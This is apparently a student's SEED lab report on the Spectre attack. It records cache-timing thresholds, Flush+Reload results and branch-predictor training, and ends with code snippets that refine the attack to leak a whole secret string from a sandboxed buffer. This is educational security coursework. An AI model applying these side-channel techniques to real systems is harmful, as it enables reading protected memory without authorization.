Spectre Attack

> 16307130212 管佳乐

Task 1: Reading from Cache versus from Memory

Compile and run the code

```
$ gcc -march=native CacheTime.c -o CacheTime.o
$ ./CacheTime.o
```

```
[05/21/19]seed@VM:~/.../lab8$ gcc -march=native CacheTime.c -o CacheTime.o
[05/21/19]seed@VM:~/.../lab8$ ./CacheTime.o
Access time for array[0*4096]: 1190 CPU cycles
Access time for array[1*4096]: 423 CPU cycles
Access time for array[2*4096]: 321 CPU cycles
Access time for array[3*4096]: 153 CPU cycles
Access time for array[4*4096]: 240 CPU cycles
Access time for array[5*4096]: 252 CPU cycles
Access time for array[6*4096]: 383 CPU cycles
Access time for array[7*4096]: 103 CPU cycles
Access time for array[8*4096]: 234 CPU cycles
Access time for array[9*4096]: 268 CPU cycles
```

- Is the access of array[3*4096] and array[7*4096] faster than that of the other elements?

> Yes, they take only about 100 cycles, and others would take far more than that

- find a threshold that can be used to distinguish these two types of memory access

```
Access time for array[8*4096]: 625 CPU cycles
Access time for array[9*4096]: 246 CPU cycles
[05/21/19]seed@VM:~/.../lab8$ ./CacheTime.o
Access time for array[0*4096]: 1341 CPU cycles
Access time for array[1*4096]: 687 CPU cycles
Access time for array[2*4096]: 240 CPU cycles
Access time for array[3*4096]: 103 CPU cycles
Access time for array[4*4096]: 236 CPU cycles
Access time for array[5*4096]: 274 CPU cycles
Access time for array[6*4096]: 254 CPU cycles
Access time for array[7*4096]: 75 CPU cycles
Access time for array[8*4096]: 274 CPU cycles
Access time for array[9*4096]: 535 CPU cycles
[05/21/19]seed@VM:~/.../lab8$ ./CacheTime.o
Access time for array[0*4096]: 1202 CPU cycles
Access time for array[1*4096]: 797 CPU cycles
Access time for array[2*4096]: 254 CPU cycles
Access time for array[3*4096]: 107 CPU cycles
Access time for array[4*4096]: 248 CPU cycles
Access time for array[5*4096]: 250 CPU cycles
Access time for array[6*4096]: 218 CPU cycles
Access time for array[7*4096]: 64 CPU cycles
Access time for array[8*4096]: 248 CPU cycles
Access time for array[9*4096]: 274 CPU cycles
[05/21/19]seed@VM:~/.../lab8$ ./CacheTime.o
Access time for array[0*4096]: 1200 CPU cycles
Access time for array[1*4096]: 225 CPU cycles
Access time for array[2*4096]: 270 CPU cycles
Access time for array[3*4096]: 84 CPU cycles
Access time for array[4*4096]: 250 CPU cycles
Access time for array[5*4096]: 258 CPU cycles
Access time for array[6*4096]: 909 CPU cycles
Access time for array[7*4096]: 58 CPU cycles
Access time for array[8*4096]: 272 CPU cycles
Access time for array[9*4096]: 248 CPU cycles
```

> Since no other block takes less than 200 cycles, so far I think 200 would be a good threshold

Task 2: Using Cache as a Side Channel

According to task 1, adjust `CACHE_HIT_THRESHOLD` to 200

Compile

```
$ gcc -march=native -o FlushReload.o FlushReload.c
```

```
[05/27/19]seed@VM:~/.../lab8$ gcc -march=native -o FlushReload FlushReload.c
[05/27/19]seed@VM:~/.../lab8$ ./FlushReload
array[94*4096 + 1024] is in cache.
The Secret = 94.
[05/27/19]seed@VM:~/.../lab8$ ./FlushReload
array[94*4096 + 1024] is in cache.
The Secret = 94.
[05/27/19]seed@VM:~/.../lab8$ ./FlushReload
array[94*4096 + 1024] is in cache.
The Secret = 94.
[05/27/19]seed@VM:~/.../lab8$ ./FlushReload
array[94*4096 + 1024] is in cache.
The Secret = 94.
[05/27/19]seed@VM:~/.../lab8$ ./FlushReload
array[94*4096 + 1024] is in cache.
The Secret = 94.
[05/27/19]seed@VM:~/.../lab8$ ./FlushReload
array[94*4096 + 1024] is in cache.
The Secret = 94.
[05/27/19]seed@VM:~/.../lab8$ ./FlushReload
array[94*4096 + 1024] is in cache.
The Secret = 94.
[05/27/19]seed@VM:~/.../lab8$ ./FlushReload
array[94*4096 + 1024] is in cache.
The Secret = 94.
[05/27/19]seed@VM:~/.../lab8$ ./FlushReload
array[94*4096 + 1024] is in cache.
The Secret = 94.
[05/27/19]seed@VM:~/.../lab8$ ./FlushReload
array[94*4096 + 1024] is in cache.
The Secret = 94.
[05/27/19]seed@VM:~/.../lab8$ ./FlushReload
array[94*4096 + 1024] is in cache.
The Secret = 94.
```

- Run the program for at least 20 times, and count how many times you will get the secret correctly

> I've run the program for 20 times, and only 1 time the secret is wrong
>
> ```
> [05/27/19]seed@VM:~/.../lab8$ ./FlushReload
> array[94*4096 + 1024] is in cache.
> The Secret = 94.
> array[149*4096 + 1024] is in cache.
> The Secret = 149.
> ```
>
> Then I ran the `CacheTime.o` for another 20 times, I found cached block would take at most 185 cycles, so I set the threshold as 185.
>
> After setting a tighter bound, there is no false positive in the result.

Task 3: Out-of-Order Execution and Branch Prediction

Compile the code as before

```
$ gcc -march=native -o SpectreExperiment.o SpectreExperiment.c
```

- run the program and describe your observations

> The program will be taught to give away the secret.
>
> And the CPU was taught to behave as what we think for 10 times.

```c
for (i = 0; i < 10; i++) {
    _mm_clflush(&size);
    victim(i);
}
```

```
[05/27/19]seed@VM:~/.../lab8$ gcc -march=native -o SpectreExperiment.o SpectreExperiment.c
[05/27/19]seed@VM:~/.../lab8$ ./SpectreExperiment.o
array[97*4096 + 1024] is in cache.
The Secret = 97.
[05/27/19]seed@VM:~/.../lab8$ ./SpectreExperiment.o
array[97*4096 + 1024] is in cache.
The Secret = 97.
[05/27/19]seed@VM:~/.../lab8$ ./SpectreExperiment.o
array[97*4096 + 1024] is in cache.
The Secret = 97.
[05/27/19]seed@VM:~/.../lab8$ ./SpectreExperiment.o
array[97*4096 + 1024] is in cache.
The Secret = 97.
[05/27/19]seed@VM:~/.../lab8$ ./SpectreExperiment.o
array[97*4096 + 1024] is in cache.
The Secret = 97.
[05/27/19]seed@VM:~/.../lab8$ ./SpectreExperiment.o
array[97*4096 + 1024] is in cache.
The Secret = 97.
[05/27/19]seed@VM:~/.../lab8$ ./SpectreExperiment.o
array[97*4096 + 1024] is in cache.
The Secret = 97.
[05/27/19]seed@VM:~/.../lab8$ ./SpectreExperiment.o
array[97*4096 + 1024] is in cache.
The Secret = 97.
[05/27/19]seed@VM:~/.../lab8$ ./SpectreExperiment.o
array[97*4096 + 1024] is in cache.
The Secret = 97.
[05/27/19]seed@VM:~/.../lab8$ ./SpectreExperiment.o
array[97*4096 + 1024] is in cache.
The Secret = 97.
[05/27/19]seed@VM:~/.../lab8$ ./SpectreExperiment.o
array[97*4096 + 1024] is in cache.
The Secret = 97.
```

- Comment out the lines marked with star and execute again. Explain your observation.

```
$ gcc -march=native -o SpectreExperiment1.o SpectreExperiment1.c
```

```
[05/27/19]seed@VM:~/.../lab8$ ./SpectreExperiment1.o
[05/27/19]seed@VM:~/.../lab8$ ./SpectreExperiment1.o
[05/27/19]seed@VM:~/.../lab8$ ./SpectreExperiment1.o
[05/27/19]seed@VM:~/.../lab8$ ./SpectreExperiment1.o
array[97*4096 + 1024] is in cache.
The Secret = 97.
[05/27/19]seed@VM:~/.../lab8$ ./SpectreExperiment1.o
[05/27/19]seed@VM:~/.../lab8$ ./SpectreExperiment1.o
[05/27/19]seed@VM:~/.../lab8$ ./SpectreExperiment1.o
[05/27/19]seed@VM:~/.../lab8$ ./SpectreExperiment1.o
[05/27/19]seed@VM:~/.../lab8$ ./SpectreExperiment1.o
[05/27/19]seed@VM:~/.../lab8$ ./SpectreExperiment1.o
array[97*4096 + 1024] is in cache.
The Secret = 97.
[05/27/19]seed@VM:~/.../lab8$ ./SpectreExperiment1.o
[05/27/19]seed@VM:~/.../lab8$ ./SpectreExperiment1.o
[05/27/19]seed@VM:~/.../lab8$ ./SpectreExperiment1.o
[05/27/19]seed@VM:~/.../lab8$ ./SpectreExperiment1.o
[05/27/19]seed@VM:~/.../lab8$ ./SpectreExperiment1.o
[05/27/19]seed@VM:~/.../lab8$ ./SpectreExperiment1.o
[05/27/19]seed@VM:~/.../lab8$ ./SpectreExperiment1.o
[05/27/19]seed@VM:~/.../lab8$ ./SpectreExperiment1.o
[05/27/19]seed@VM:~/.../lab8$ ./SpectreExperiment1.o
[05/27/19]seed@VM:~/.../lab8$ ./SpectreExperiment1.o
[05/27/19]seed@VM:~/.../lab8$ ./SpectreExperiment1.o
[05/27/19]seed@VM:~/.../lab8$ ./SpectreExperiment1.o
[05/27/19]seed@VM:~/.../lab8$ ./SpectreExperiment1.o
[05/27/19]seed@VM:~/.../lab8$ ./SpectreExperiment1.o
[05/27/19]seed@VM:~/.../lab8$ ./SpectreExperiment1.o
[05/27/19]seed@VM:~/.../lab8$ ./SpectreExperiment1.o
[05/27/19]seed@VM:~/.../lab8$ ./SpectreExperiment1.o
[05/27/19]seed@VM:~/.../lab8$ ./SpectreExperiment1.o
[05/27/19]seed@VM:~/.../lab8$ ./SpectreExperiment1.o
[05/27/19]seed@VM:~/.../lab8$ ./SpectreExperiment1.o
[05/27/19]seed@VM:~/.../lab8$
```

> There is a much less chance in guessing the right secret. Since if the content is not flushed from the cache, CPU doesn't have to run out-of-order

- Replace with `victim (i + 20)`; run the code again and explain your observation.

```
$ gcc -march=native -o SpectreExperiment2.o SpectreExperiment2.c
```

```
[05/27/19]seed@VM:~/.../lab8$  gcc -march=native -o SpectreExperiment2.o SpectreExperiment2.c
[05/27/19]seed@VM:~/.../lab8$ ./SpectreExperiment2.o
[05/27/19]seed@VM:~/.../lab8$ ./SpectreExperiment2.o
[05/27/19]seed@VM:~/.../lab8$ ./SpectreExperiment2.o
[05/27/19]seed@VM:~/.../lab8$ ./SpectreExperiment2.o
[05/27/19]seed@VM:~/.../lab8$ ./SpectreExperiment2.o
[05/27/19]seed@VM:~/.../lab8$ ./SpectreExperiment2.o
[05/27/19]seed@VM:~/.../lab8$ ./SpectreExperiment2.o
[05/27/19]seed@VM:~/.../lab8$ ./SpectreExperiment2.o
[05/27/19]seed@VM:~/.../lab8$ ./SpectreExperiment2.o
[05/27/19]seed@VM:~/.../lab8$ ./SpectreExperiment2.o
[05/27/19]seed@VM:~/.../lab8$ ./SpectreExperiment2.o
[05/27/19]seed@VM:~/.../lab8$ ./SpectreExperiment2.o
[05/27/19]seed@VM:~/.../lab8$ ./SpectreExperiment2.o
[05/27/19]seed@VM:~/.../lab8$ ./SpectreExperiment2.o
[05/27/19]seed@VM:~/.../lab8$ ./SpectreExperiment2.o
[05/27/19]seed@VM:~/.../lab8$ ./SpectreExperiment2.o
[05/27/19]seed@VM:~/.../lab8$ ./SpectreExperiment2.o
[05/27/19]seed@VM:~/.../lab8$ ./SpectreExperiment2.o
[05/27/19]seed@VM:~/.../lab8$ ./SpectreExperiment2.o
array[173*4096 + 1024] is in cache.
The Secret = 173.
[05/27/19]seed@VM:~/.../lab8$ ./SpectreExperiment2.o
array[40*4096 + 1024] is in cache.
The Secret = 40.
[05/27/19]seed@VM:~/.../lab8$ ./SpectreExperiment2.o
[05/27/19]seed@VM:~/.../lab8$ ./SpectreExperiment2.o
[05/27/19]seed@VM:~/.../lab8$ ./SpectreExperiment2.o
[05/27/19]seed@VM:~/.../lab8$ ./SpectreExperiment2.o
[05/27/19]seed@VM:~/.../lab8$ ./SpectreExperiment2.o
[05/27/19]seed@VM:~/.../lab8$ ./SpectreExperiment2.o
[05/27/19]seed@VM:~/.../lab8$ ./SpectreExperiment2.o
[05/27/19]seed@VM:~/.../lab8$ ./SpectreExperiment2.o
```

> The performance is not good as before. Since CPU is taught to go the `false` branch. And it would go to `false` branch for `97` as well.

Task 4: The Spectre Attack

```
$ gcc -march=native -o SpectreAttack.o SpectreAttack.c
```

```
[05/27/19]seed@VM:~/.../lab8$ gcc -march=native -o SpectreAttack.o SpectreAttack.c
[05/27/19]seed@VM:~/.../lab8$ ./SpectreAttack.o
array[0*4096 + 1024] is in cache.
The Secret = 0.
[05/27/19]seed@VM:~/.../lab8$ ./SpectreAttack.o
array[0*4096 + 1024] is in cache.
The Secret = 0.
array[83*4096 + 1024] is in cache.
The Secret = 83.
[05/27/19]seed@VM:~/.../lab8$ ./SpectreAttack.o
array[0*4096 + 1024] is in cache.
The Secret = 0.
array[83*4096 + 1024] is in cache.
The Secret = 83.
[05/27/19]seed@VM:~/.../lab8$ ./SpectreAttack.o
array[0*4096 + 1024] is in cache.
The Secret = 0.
[05/27/19]seed@VM:~/.../lab8$ ./SpectreAttack.o
array[0*4096 + 1024] is in cache.
The Secret = 0.
array[83*4096 + 1024] is in cache.
The Secret = 83.
[05/27/19]seed@VM:~/.../lab8$ ./SpectreAttack.o
array[0*4096 + 1024] is in cache.
The Secret = 0.
array[83*4096 + 1024] is in cache.
The Secret = 83.
[05/27/19]seed@VM:~/.../lab8$ ./SpectreAttack.o
array[0*4096 + 1024] is in cache.
The Secret = 0.
[05/27/19]seed@VM:~/.../lab8$ ./SpectreAttack.o
array[0*4096 + 1024] is in cache.
The Secret = 0.
array[83*4096 + 1024] is in cache.
The Secret = 83.
[05/27/19]seed@VM:~/.../lab8$
```

- Please compile and execute `SpectreAttack.c`. Describe your observation and note whether you are able to steal the secret value.

> Most of the time, the output is 0, and sometimes it will output 83, or rather the ascii code for `S`. So I think I have stolen the secret value
>
> The reason for so many 0s lies in the code below, if the CPU went to the true branch, it will output 0

```
// Sandbox Function
uint8_t restrictedAccess(size_t x)
{
  if (x < buffer_size) {
     return buffer[x];
  } else {
     return 0;
  }
}
```

Task 5: Improve the Attack Accuracy

Because CPU sometimes load extra values in cache expecting that it might be used at some later point, or the threshold is not very accurate, we need to use statistic to assist our attack.

```
$ gcc -march=native -o SpectreAttackImproved.o SpectreAttackImproved.c
```

- You may observe that when running the code above, the one with the highest score is always scores[0].

> Yes.
>
> If the CPU went to the true branch, it will output 0

```
[05/29/19]seed@VM:~/.../lab8$ gcc -march=native -o SpectreAttackImproved.o SpectreAttackImproved.c
[05/29/19]seed@VM:~/.../lab8$ ./SpectreAttackImproved.o
Reading secret value at 0xffffe81c = The  secret value is 0
The number of hits is 1000
[05/29/19]seed@VM:~/.../lab8$ ./SpectreAttackImproved.o
Reading secret value at 0xffffe81c = The  secret value is 0
The number of hits is 998
[05/29/19]seed@VM:~/.../lab8$ ./SpectreAttackImproved.o
Reading secret value at 0xffffe81c = The  secret value is 0
The number of hits is 1000
[05/29/19]seed@VM:~/.../lab8$ ./SpectreAttackImproved.o
Reading secret value at 0xffffe81c = The  secret value is 0
The number of hits is 999
[05/29/19]seed@VM:~/.../lab8$ ./SpectreAttackImproved.o
Reading secret value at 0xffffe81c = The  secret value is 0
The number of hits is 1000
[05/29/19]seed@VM:~/.../lab8$ ./SpectreAttackImproved.o
Reading secret value at 0xffffe81c = The  secret value is 0
The number of hits is 998
[05/29/19]seed@VM:~/.../lab8$ ./SpectreAttackImproved.o
Reading secret value at 0xffffe81c = The  secret value is 0
The number of hits is 999
[05/29/19]seed@VM:~/.../lab8$ ./SpectreAttackImproved.o
Reading secret value at 0xffffe81c = The  secret value is 0
The number of hits is 999
[05/29/19]seed@VM:~/.../lab8$ ./SpectreAttackImproved.o
Reading secret value at 0xffffe81c = The  secret value is 0
The number of hits is 1000
[05/29/19]seed@VM:~/.../lab8$ ./SpectreAttackImproved.o
Reading secret value at 0xffffe81c = The  secret value is 0
The number of hits is 1000
[05/29/19]seed@VM:~/.../lab8$ ./SpectreAttackImproved.o
Reading secret value at 0xffffe81c = The  secret value is 0
The number of hits is 999
```

- Please figure out the reason, and fix the code above, so the actual secret value (which is not zero) will be printed out.

> In the 2nd version, I tried to check why this happen and added the code as below

```
  for (i = 0; i < 256; i++) {
    if(scores[i])
      printf("%d:%d\n",i,scores[i]);
    if (scores[max] < scores[i]) max = i;
  }
```

```
$ gcc -march=native -o SpectreAttackImproved2.o SpectreAttackImproved2.c
```

> And our goal is always the 2nd largest, or rather, the largest except 0

```
[05/29/19]seed@VM:~/.../lab8$ ./SpectreAttackImproved2.o
0:958
83:44
191:2
Reading secret value at 0xffffe83c = The  secret value is 0
The number of hits is 958
[05/29/19]seed@VM:~/.../lab8$ ./SpectreAttackImproved2.o
0:996
83:4
Reading secret value at 0xffffe83c = The  secret value is 0
The number of hits is 996
[05/29/19]seed@VM:~/.../lab8$ ./SpectreAttackImproved2.o
0:992
83:104
Reading secret value at 0xffffe83c = The  secret value is 0
The number of hits is 992
[05/29/19]seed@VM:~/.../lab8$ ./SpectreAttackImproved2.o
0:994
83:186
191:1
Reading secret value at 0xffffe83c = The  secret value is 0
The number of hits is 994
[05/29/19]seed@VM:~/.../lab8$ ./SpectreAttackImproved2.o
0:979
83:152
Reading secret value at 0xffffe83c = The  secret value is 0
The number of hits is 979
```

So in the 3rd version

```
max = 1;
for (i = 1; i < 256; i++) {
    if (scores[max] < scores[i]) max = i;
}
```

Then I compile and run it again. The improved version would output the right value most of the time.

```
$ gcc -march=native -o SpectreAttackImproved3.o SpectreAttackImproved3.c
```

```
[05/29/19]seed@VM:~/.../lab8$ gcc -march=native -o SpectreAttackImproved3.o SpectreAttackImproved3.c
[05/29/19]seed@VM:~/.../lab8$ ./SpectreAttackImproved3.o
Reading secret value at 0xffffe80c = The  secret value is 83
The number of hits is 157
[05/29/19]seed@VM:~/.../lab8$ ./SpectreAttackImproved3.o
Reading secret value at 0xffffe80c = The  secret value is 83
The number of hits is 179
[05/29/19]seed@VM:~/.../lab8$ ./SpectreAttackImproved3.o
Reading secret value at 0xffffe80c = The  secret value is 83
The number of hits is 43
[05/29/19]seed@VM:~/.../lab8$ ./SpectreAttackImproved3.o
Reading secret value at 0xffffe80c = The  secret value is 83
The number of hits is 250
[05/29/19]seed@VM:~/.../lab8$ ./SpectreAttackImproved3.o
Reading secret value at 0xffffe80c = The  secret value is 83
The number of hits is 194
[05/29/19]seed@VM:~/.../lab8$ ./SpectreAttackImproved3.o
Reading secret value at 0xffffe80c = The  secret value is 83
The number of hits is 78
[05/29/19]seed@VM:~/.../lab8$ ./SpectreAttackImproved3.o
Reading secret value at 0xffffe80c = The  secret value is 83
The number of hits is 65
[05/29/19]seed@VM:~/.../lab8$ ./SpectreAttackImproved3.o
Reading secret value at 0xffffe80c = The  secret value is 83
The number of hits is 149
[05/29/19]seed@VM:~/.../lab8$ ./SpectreAttackImproved3.o
Reading secret value at 0xffffe80c = The  secret value is 83
The number of hits is 78
[05/29/19]seed@VM:~/.../lab8$ ./SpectreAttackImproved3.o
Reading secret value at 0xffffe80c = The  secret value is 83
The number of hits is 58
[05/29/19]seed@VM:~/.../lab8$ ./SpectreAttackImproved3.o
Reading secret value at 0xffffe80c = The  secret value is 83
The number of hits is 180
```

Task 6: Steal the Entire Secret String

I modified the original program and named it `Final.c`. The only difference is that it will read the characters in a loop. And the length of the string `len` should be provided by the programmer runner in command line since we do not know how long the string exactly is.

```
  flushSideChannel();
  size_t len = 0;
  if (argc == 2) {
    len = atoi(argv[1]);
    printf("Read %d bytes\n", len);
  }
  while (len != 0) {
    // initialization
    for (i = 0; i < 256; i++) scores[i] = 0;
    // statistics form 1000 tests
    for (i = 0; i < 1000; i++) {
      spectreAttack(larger_x);
      reloadSideChannelImproved();
    }
    // choose the largest except 0
    int max = 1;
    for (i = 1; i < 256; i++) {
      if (scores[max] < scores[i]) max = i;
    }
    // output it directly, no other debugging information
    printf("%c", max);
    ++larger_x;
    --len;
  }
```

The program would run as below

```
$ gcc -march=native -o Final.o Final.c
```

```
[05/29/19]seed@VM:~/.../lab8$ gcc -march=native -o Final.o Final.c
[05/29/19]seed@VM:~/.../lab8$ ./Final.o 10
Read 10 bytes
Some Secre
[05/29/19]seed@VM:~/.../lab8$ ./Final.o 20
Read 20 bytes
Some Secret Value Re
[05/29/19]seed@VM:~/.../lab8$ ./Final.o 15
Read 15 bytes
Some Secret Val
[05/29/19]seed@VM:~/.../lab8$ ./Final.o 17
Read 17 bytes
Some Secret Value
```